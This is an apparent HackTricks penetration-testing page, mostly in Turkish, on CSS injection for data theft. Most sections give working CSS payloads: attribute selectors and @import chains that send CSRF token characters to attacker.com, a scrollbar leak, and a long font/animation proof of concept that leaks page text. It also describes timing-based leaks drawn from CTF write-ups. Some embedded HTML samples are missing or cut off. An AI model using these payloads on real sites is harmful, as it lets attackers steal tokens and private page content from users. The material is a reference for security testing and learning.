# CSS Injection {{#include ../../../banners/hacktricks-training.md}} ## CSS Injection ### Attribute Selector CSS seçicileri, bir `input` öğesinin `name` ve `value` özniteliklerinin değerleriyle eşleşecek şekilde hazırlanmıştır. Eğer giriş öğesinin değer özniteliği belirli bir karakterle başlıyorsa, önceden tanımlanmış bir dış kaynak yüklenir: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); } input[name="csrf"][value^="b"] { background-image: url(https://attacker.com/exfil/b); } /* ... */ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` Ancak, bu yaklaşım gizli giriş öğeleri (`type="hidden"`) ile çalışırken bir sınıra sahiptir çünkü gizli öğeler arka planları yüklemez. #### Gizli Öğeler için Bypass Bu sınırlamayı aşmak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş öğeyi hedefleyebilirsiniz. CSS kuralı, gizli giriş öğesini takip eden tüm kardeşlere uygulanır ve arka plan resminin yüklenmesine neden olur: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` Bu tekniğin istismarına dair pratik bir örnek sağlanan kod parçasında detaylandırılmıştır. Bunu [buradan](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) görüntüleyebilirsiniz. #### CSS Enjeksiyonu için Ön Koşullar CSS Enjeksiyonu tekniğinin etkili olabilmesi için belirli koşulların sağlanması gerekmektedir: 1. **Yük Uzunluğu**: CSS enjeksiyon vektörü, oluşturulmuş seçicileri barındıracak kadar uzun yükleri desteklemelidir. 2. **CSS Yeniden Değerlendirmesi**: Sayfayı çerçeveleme yeteneğine sahip olmalısınız; bu, yeni oluşturulmuş yüklerle CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir. 3. **Dış Kaynaklar**: Bu teknik, dışarıda barındırılan resimlerin kullanılabilme yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanabilir. ### Kör Özellik Seçici [**bu yazıda açıklandığı gibi**](https://portswigger.net/research/blind-css-exfiltration), **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içerik tanımlamak mümkündür. Bu, CSS enjeksiyonunu yükleyen web sayfasının içinde ne olduğunu bilmediğinizde çok faydalıdır.\ Ayrıca, bu seçicileri aynı türdeki birkaç bloktan bilgi çıkarmak için kullanmak da mümkündür: ```html ``` Bunu aşağıdaki **@import** tekniği ile birleştirerek, **blind-css-exfiltration** ile **kör sayfalardan** çok fazla **bilgi sızdırmak** mümkündür. ### @import Önceki tekniğin bazı dezavantajları vardır, ön koşulları kontrol edin. Ya **kurbanın birden fazla bağlantı alabilmesi** gerekir ya da **CSS enjeksiyonuna açık sayfayı iframe'leyebilmeniz** gerekir. Ancak, tekniğin kalitesini artırmak için **CSS `@import`** kullanan başka bir akıllı teknik vardır. Bu ilk olarak [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) tarafından gösterilmiştir ve şöyle çalışır: Her seferinde on farklı yük ile aynı sayfayı tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), **sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurbana gönderilecek yük): ```css @import url("//attacker.com:5001/start?"); ``` 1. İthalat, **saldırganlardan bazı CSS scriptleri alacak** ve **tarayıcı bunu yükleyecek**. 2. Saldırganın göndereceği CSS scriptinin ilk kısmı, **saldırganın sunucusuna tekrar başka bir `@import` olacak.** 1. Saldırganın sunucusu bu isteğe henüz yanıt vermeyecek, çünkü bazı karakterleri sızdırmak istiyoruz ve ardından bu ithalatı sızdırılacak sonraki karakterlerle birlikte yükleyeceğiz. 3. Yüklemenin ikinci ve daha büyük kısmı, **bir nitelik seçici sızıntı yüklemesi** olacak. 1. Bu, saldırganın sunucusuna **sırrın ilk ve son karakterini** gönderecek. 4. Saldırganın sunucusu **sırrın ilk ve son karakterini** aldıktan sonra, **adım 2'de talep edilen ithalata yanıt verecek**. 1. Yanıt, **adım 2, 3 ve 4'tekiyle** tam olarak aynı olacak, ancak bu sefer **sırrın ikinci karakterini ve ardından sondan bir önceki karakteri bulmaya çalışacak**. Saldırgan, **sırrı tamamen sızdırana kadar bu döngüyü takip edecek**. Orijinal [**Pepe Vila'nın bu açığı istismar etmek için kodunu burada bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse [**aynı kodu ama yorumlu burada bulabilirsiniz**.](#css-injection) > [!NOTE] > Script, her seferinde 2 karakter keşfetmeye çalışacak (başlangıçtan ve sondan) çünkü nitelik seçici, şunları yapmaya izin verir: > > ```css > /* value^= değerin başlangıcını eşleştirmek için */ > input[value^="0"] { > --s0: url(http://localhost:5001/leak?pre=0); > } > > /* value$= değerin sonunu eşleştirmek için */ > input[value$="f"] { > --e0: url(http://localhost:5001/leak?post=f); > } > ``` > > Bu, scriptin sırrı daha hızlı sızdırmasına olanak tanır. > [!WARNING] > Bazen script, **öğrenilen ön ek + son ekin zaten tam bayrak olduğunu doğru bir şekilde tespit edemez** ve ileri (ön ekte) ve geri (son ekte) devam eder ve bir noktada takılır.\ > Endişelenmeyin, sadece **çıktıyı** kontrol edin çünkü **orada bayrağı görebilirsiniz**. ### Diğer seçiciler **CSS seçicileri** ile DOM parçalarına erişmenin diğer yolları: - **`.class-to-search:nth-child(2)`**: Bu, DOM'daki "class-to-search" sınıfına sahip ikinci öğeyi arayacaktır. - **`:empty`** seçici: Örneğin, [**bu yazıda**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** kullanılmıştır:** ```css [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); } ``` ### Hata tabanlı XS-Search **Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC @terjanq tarafından](https://twitter.com/terjanq/status/1180477124861407234) Genel amaç, **kontrol edilen bir uç noktadan özel bir font kullanmak** ve **metnin (bu durumda, 'A') yalnızca belirtilen kaynak (`favicon.ico`) yüklenemediğinde bu fontla görüntülenmesini sağlamaktır**. ```html A ``` 1. **Özel Yazı Tipi Kullanımı**: - Özel bir yazı tipi, `` bölümündeki `

AB

htm ``` When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B". ### Text node exfiltration (I): ligatures **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) Açıklanan teknik, font ligatürlerini kullanarak bir düğümden metin çıkarmayı ve genişlikteki değişiklikleri izlemeyi içerir. Süreç birkaç adımdan oluşur: 1. **Özel Fontların Oluşturulması**: - SVG fontları, iki karakter dizisini temsil eden bir glif için büyük bir genişlik ayarlayan `horiz-adv-x` niteliğine sahip gliflerle oluşturulur. - Örnek SVG glifi: ``, burada "XY" iki karakter dizisini belirtir. - Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür. 2. **Genişlik Değişikliklerinin Tespiti**: - Metnin sarılmamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırıcı stilini özelleştirir. - Farklı bir şekilde stillendirilmiş yatay bir kaydırıcının görünümü, metinde belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin mevcut olduğunun bir göstergesi (oracle) olarak işlev görür. - İlgili CSS: ```css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); } ``` 3. **Sömürü Süreci**: - **Adım 1**: Genişliği büyük olan karakter çiftleri için fontlar oluşturulur. - **Adım 2**: Büyük genişlik glifinin (bir karakter çiftinin ligatürü) render edildiğini tespit etmek için kaydırıcı tabanlı bir hile kullanılır, bu da karakter dizisinin varlığını gösterir. - **Adım 3**: Bir ligatür tespit edildiğinde, tespit edilen çifti içeren ve bir önceki veya sonraki karakter ekleyen üç karakter dizisini temsil eden yeni glifler üretilir. - **Adım 4**: Üç karakterli ligatürün tespiti gerçekleştirilir. - **Adım 5**: Süreç tekrarlanır, metnin tamamı yavaş yavaş açığa çıkar. 4. **Optimizasyon**: - Mevcut başlatma yöntemi olan ` **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) Bu hile, bu [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) içinde yayımlandı. Bir metin düğümünde kullanılan karakter seti, tarayıcıda yüklü olan **varsayılan fontlar** kullanılarak sızdırılabilir: dışarıdan -veya özel- fontlara ihtiyaç yoktur. Kavram, bir `div`'in genişliğini kademeli olarak artırmak için bir animasyon kullanmayı içerir, böylece bir karakter bir seferde metnin 'sonek' kısmından 'ön ek' kısmına geçiş yapar. Bu süreç, metni iki bölüme ayırır: 1. **Ön Ek**: İlk satır. 2. **Sonek**: Sonraki satır(lar). Karakterlerin geçiş aşamaları şu şekilde görünecektir: **C**\ ADB **CA**\ DB **CAD**\ B **CADB** Bu geçiş sırasında, **unicode-range hilesi** her yeni karakterin ön ekle birleştiği anda tanımlanmasını sağlamak için kullanılır. Bu, fontu Comic Sans'a değiştirerek gerçekleştirilir; bu font, varsayılan fonta göre belirgin şekilde daha yüksektir ve dolayısıyla dikey bir kaydırıcıyı tetikler. Bu kaydırıcının görünümü, dolaylı olarak ön ekte yeni bir karakterin varlığını ortaya çıkarır. Bu yöntem, benzersiz karakterlerin görünmesiyle tespit edilmesini sağlasa da, hangi karakterin tekrarlandığını belirtmez, sadece bir tekrarın gerçekleştiğini gösterir. > [!NOTE] > Temelde, **unicode-range bir karakteri tespit etmek için kullanılır**, ancak dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekir.\ > **Karakter** **bulunduğunda**, önceden yüklenmiş **Comic Sans fontu** ile **verilir**, bu da karakteri **büyütür** ve **bir kaydırıcıyı tetikler**; bu da **bulunan karakteri sızdırır**. Check the code extracted from the PoC: ```css /* comic sans is high (lol) and causes a vertical overflow */ @font-face { font-family: has_A; src: local("Comic Sans MS"); unicode-range: U+41; font-style: monospace; } @font-face { font-family: has_B; src: local("Comic Sans MS"); unicode-range: U+42; font-style: monospace; } @font-face { font-family: has_C; src: local("Comic Sans MS"); unicode-range: U+43; font-style: monospace; } @font-face { font-family: has_D; src: local("Comic Sans MS"); unicode-range: U+44; font-style: monospace; } @font-face { font-family: has_E; src: local("Comic Sans MS"); unicode-range: U+45; font-style: monospace; } @font-face { font-family: has_F; src: local("Comic Sans MS"); unicode-range: U+46; font-style: monospace; } @font-face { font-family: has_G; src: local("Comic Sans MS"); unicode-range: U+47; font-style: monospace; } @font-face { font-family: has_H; src: local("Comic Sans MS"); unicode-range: U+48; font-style: monospace; } @font-face { font-family: has_I; src: local("Comic Sans MS"); unicode-range: U+49; font-style: monospace; } @font-face { font-family: has_J; src: local("Comic Sans MS"); unicode-range: U+4a; font-style: monospace; } @font-face { font-family: has_K; src: local("Comic Sans MS"); unicode-range: U+4b; font-style: monospace; } @font-face { font-family: has_L; src: local("Comic Sans MS"); unicode-range: U+4c; font-style: monospace; } @font-face { font-family: has_M; src: local("Comic Sans MS"); unicode-range: U+4d; font-style: monospace; } @font-face { font-family: has_N; src: local("Comic Sans MS"); unicode-range: U+4e; font-style: monospace; } @font-face { font-family: has_O; src: local("Comic Sans MS"); unicode-range: U+4f; font-style: monospace; } @font-face { font-family: has_P; src: local("Comic Sans MS"); unicode-range: U+50; font-style: monospace; } @font-face { font-family: has_Q; src: local("Comic Sans MS"); unicode-range: U+51; font-style: monospace; } @font-face { font-family: has_R; src: local("Comic Sans MS"); unicode-range: U+52; font-style: monospace; } @font-face { font-family: has_S; src: local("Comic Sans MS"); unicode-range: U+53; font-style: monospace; } @font-face { font-family: has_T; src: local("Comic Sans MS"); unicode-range: U+54; font-style: monospace; } @font-face { font-family: has_U; src: local("Comic Sans MS"); unicode-range: U+55; font-style: monospace; } @font-face { font-family: has_V; src: local("Comic Sans MS"); unicode-range: U+56; font-style: monospace; } @font-face { font-family: has_W; src: local("Comic Sans MS"); unicode-range: U+57; font-style: monospace; } @font-face { font-family: has_X; src: local("Comic Sans MS"); unicode-range: U+58; font-style: monospace; } @font-face { font-family: has_Y; src: local("Comic Sans MS"); unicode-range: U+59; font-style: monospace; } @font-face { font-family: has_Z; src: local("Comic Sans MS"); unicode-range: U+5a; font-style: monospace; } @font-face { font-family: has_0; src: local("Comic Sans MS"); unicode-range: U+30; font-style: monospace; } @font-face { font-family: has_1; src: local("Comic Sans MS"); unicode-range: U+31; font-style: monospace; } @font-face { font-family: has_2; src: local("Comic Sans MS"); unicode-range: U+32; font-style: monospace; } @font-face { font-family: has_3; src: local("Comic Sans MS"); unicode-range: U+33; font-style: monospace; } @font-face { font-family: has_4; src: local("Comic Sans MS"); unicode-range: U+34; font-style: monospace; } @font-face { font-family: has_5; src: local("Comic Sans MS"); unicode-range: U+35; font-style: monospace; } @font-face { font-family: has_6; src: local("Comic Sans MS"); unicode-range: U+36; font-style: monospace; } @font-face { font-family: has_7; src: local("Comic Sans MS"); unicode-range: U+37; font-style: monospace; } @font-face { font-family: has_8; src: local("Comic Sans MS"); unicode-range: U+38; font-style: monospace; } @font-face { font-family: has_9; src: local("Comic Sans MS"); unicode-range: U+39; font-style: monospace; } @font-face { font-family: rest; src: local("Courier New"); font-style: monospace; unicode-range: U+0-10FFFF; } div.leak { overflow-y: auto; /* leak channel */ overflow-x: hidden; /* remove false positives */ height: 40px; /* comic sans capitals exceed this height */ font-size: 0px; /* make suffix invisible */ letter-spacing: 0px; /* separation */ word-break: break-all; /* small width split words in lines */ font-family: rest; /* default */ background: grey; /* default */ width: 0px; /* initial value */ animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */ animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */ } div.leak::first-line { font-size: 30px; /* prefix is visible in first line */ text-transform: uppercase; /* only capital letters leak */ } /* iterate over all chars */ @keyframes trychar { 0% { font-family: rest; } /* delay for width change */ 5% { font-family: has_A, rest; --leak: url(?a); } 6% { font-family: rest; } 10% { font-family: has_B, rest; --leak: url(?b); } 11% { font-family: rest; } 15% { font-family: has_C, rest; --leak: url(?c); } 16% { font-family: rest; } 20% { font-family: has_D, rest; --leak: url(?d); } 21% { font-family: rest; } 25% { font-family: has_E, rest; --leak: url(?e); } 26% { font-family: rest; } 30% { font-family: has_F, rest; --leak: url(?f); } 31% { font-family: rest; } 35% { font-family: has_G, rest; --leak: url(?g); } 36% { font-family: rest; } 40% { font-family: has_H, rest; --leak: url(?h); } 41% { font-family: rest; } 45% { font-family: has_I, rest; --leak: url(?i); } 46% { font-family: rest; } 50% { font-family: has_J, rest; --leak: url(?j); } 51% { font-family: rest; } 55% { font-family: has_K, rest; --leak: url(?k); } 56% { font-family: rest; } 60% { font-family: has_L, rest; --leak: url(?l); } 61% { font-family: rest; } 65% { font-family: has_M, rest; --leak: url(?m); } 66% { font-family: rest; } 70% { font-family: has_N, rest; --leak: url(?n); } 71% { font-family: rest; } 75% { font-family: has_O, rest; --leak: url(?o); } 76% { font-family: rest; } 80% { font-family: has_P, rest; --leak: url(?p); } 81% { font-family: rest; } 85% { font-family: has_Q, rest; --leak: url(?q); } 86% { font-family: rest; } 90% { font-family: has_R, rest; --leak: url(?r); } 91% { font-family: rest; } 95% { font-family: has_S, rest; --leak: url(?s); } 96% { font-family: rest; } } /* increase width char by char, i.e. add new char to prefix */ @keyframes loop { 0% { width: 0px; } 1% { width: 20px; } 2% { width: 40px; } 3% { width: 60px; } 4% { width: 80px; } 4% { width: 100px; } 5% { width: 120px; } 6% { width: 140px; } 7% { width: 0px; } } div::-webkit-scrollbar { background: blue; } /* side-channel */ div::-webkit-scrollbar:vertical { background: blue var(--leak); } ``` ### Metin düğümü sızdırma (III): varsayılan bir font ile karakter setini sızdırma, öğeleri gizleyerek (harici varlıklar gerektirmiyor) **Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Bu durum, önceki duruma çok benziyor, ancak bu durumda belirli **karakterlerin diğerlerinden daha büyük olmasının amacı, bir butonun bot tarafından basılmaması veya yüklenmeyecek bir görüntü gibi bir şeyi gizlemektir.** Böylece eylemi (veya eylemsizliği) ölçebilir ve belirli bir karakterin metin içinde mevcut olup olmadığını bilebiliriz. ### Metin düğümü sızdırma (III): önbellek zamanlaması ile karakter setini sızdırma (harici varlıklar gerektirmiyor) **Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Bu durumda, metinde bir karakterin olup olmadığını sızdırmayı, aynı kaynaktan sahte bir font yükleyerek deneyebiliriz: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1); unicode-range: U+0041; } ``` Eğer bir eşleşme varsa, **font `/static/bootstrap.min.css?q=1`'den yüklenecektir**. Başarılı bir şekilde yüklenmeyecek olsa da, **tarayıcı bunu önbelleğe almalıdır** ve önbellek olmasa bile, **304 not modified** mekanizması vardır, bu nedenle **yanıt diğer şeylerden daha hızlı olmalıdır**. Ancak, önbellekli yanıt ile önbelleksiz yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunları belirtti: Ancak, test ettikten sonra, ilk sorunun hızın çok farklı olmadığı ve ikinci sorunun botun `disk-cache-size=1` bayrağını kullanması olduğunu buldum, bu gerçekten düşünceli. ### Metin düğümü dışa aktarımı (III): yüzlerce yerel "font" yüklemesiyle charset'i zamanlayarak sızdırma (harici varlık gerektirmiyor) **Referans:** Bu, [bu yazıda başarısız bir çözüm olarak belirtilmiştir](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) Bu durumda, bir eşleşme gerçekleştiğinde **aynı kaynaktan yüzlerce sahte font yüklemek için CSS belirtebilirsiniz**. Bu şekilde, **ne kadar zaman aldığını ölçebilir** ve bir karakterin görünüp görünmediğini bulabilirsiniz: ```css @font-face { font-family: "A1"; src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2), .... url(/static/bootstrap.min.css?q=500); unicode-range: U+0041; } ``` Ve botun kodu şöyle görünüyor: ```python browser.get(url) WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') time.sleep(30) ``` Yani, eğer font eşleşmiyorsa, bota erişim sırasında yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak, eğer bir font eşleşmesi varsa, fontu almak için birden fazla istek gönderilecektir, bu da ağda sürekli bir aktivite olmasına neden olacaktır. Sonuç olarak, durdurma koşulunu karşılamak ve yanıt almak daha uzun sürecektir. Bu nedenle, yanıt süresi bir font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir. ## References - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d) - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) {{#include ../../../banners/hacktricks-training.md}}